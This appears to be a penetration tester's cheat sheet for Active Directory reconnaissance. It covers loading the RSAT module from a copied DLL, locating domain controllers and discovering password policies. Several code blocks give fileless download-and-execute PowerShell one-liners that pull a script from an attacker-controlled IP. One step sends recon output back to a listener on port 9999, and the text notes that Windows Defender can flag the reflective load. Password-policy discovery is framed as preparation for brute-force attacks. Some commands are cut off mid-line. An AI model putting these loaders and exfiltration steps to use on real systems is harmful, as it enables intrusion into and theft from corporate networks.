Using Active Directory Remote Server Administration Toolkit (RSAT)

Most client computers and even servers don't have RSAT installed.
You usually need to be local admin to install RSAT.

However, every DC comes with RSAT installed, and it is just a dll found here on the DC: `C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\XXX\Microsoft.ActiveDirectory.Management.dll`

If you want you can just upload that dll to your computer, import it and then you have access to the RSAT commands.

```
 import-module Microsoft.ActiveDirectory.Management.dll
get-addomain
```

```
 sha256sum Microsoft.ActiveDirectory.Management.dll
8eb311a48c6bb32577dac1844372513fbc66e0093351206fb17679ebd1272135  Microsoft.ActiveDirectory.Management.dll
```

If you don't want to write anything to disk you can import the entire module straight into memory with the script found here. The script uses `[System.Reflection.Assembly]::Load($bytes)` which sometimes triggers WinDefender to check the files.

```
 iex (New-Object Net.WebClient).DownloadString("http://192.168.77.90/rsat.ps1")
get-aduser -filter *
```

The RSAT module can be loaded and an additional recon-script can be executed, that send home the result of the recon, all can be done without touching disk. There are two ways to execute both, or several, command in oneline:

```
'(New-Object Net.WebClient).DownloadString("http://192.168.77.90/rsat.ps1")', 'get-recon -ip 192.168.77.90 -port 9999' | invoke-expr
```

```
invoke-command -scriptblock {(New-Object Net.WebClient).DownloadString("http://192.168.77.90/rsat.ps1"); get-recon -ip 192.168.77.9
```

Check to which domain the computer is connected

```
systeminfo
```

Get all Organizational Units (OUs)

```
ldapsearch -h evilcorp.local  -w SecretPassword  -b "dc=evilcorp,dc=local" -D "cn=Philip L,cn=users,dc=evilcorp,dc=local" "(objectCl
```

Find domain-controllers

Method 1

Open cmd.exe and run:

```
set logonserver
```

Check for "Logon server"

```
systeminfo
```

Method 2

Open cmd.exe and run:

```
echo %logonserver%
```

Method 3

To find all DC in a domain open CMD/PowerShell and run:

```
nltest.exe /dclist:<domain>
```

Find Password Complexity Requirements

Knowledge of the password complexity requirements is useful if you want to perform brute force password cracking attacks, or create password lists that comply with the domains password complexity requirements.

GPO

What complicates things even more is that Password Policy can also be set in GPO, but NOT through GPOs that are linked to a OU. THe Password Policy GPO must be linked to the domain in order to take effect. And you can also set multiple password policies to one user/group, but with different precedence.

All and all, it is hard to know which password policy a specific user must adhere to.

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770394(v=ws.10)?redirectedfrom=MSDN

Fine grained password policies (FGPP)

Since 2008 it has been possible to create find-grained password requirements, for a specific user or for a group.

If you go to `ADUC / System / Password Settings Policy` you can create a password policy. This policy can then be assigned to either users or groups. This means that a group or user can have different password policies.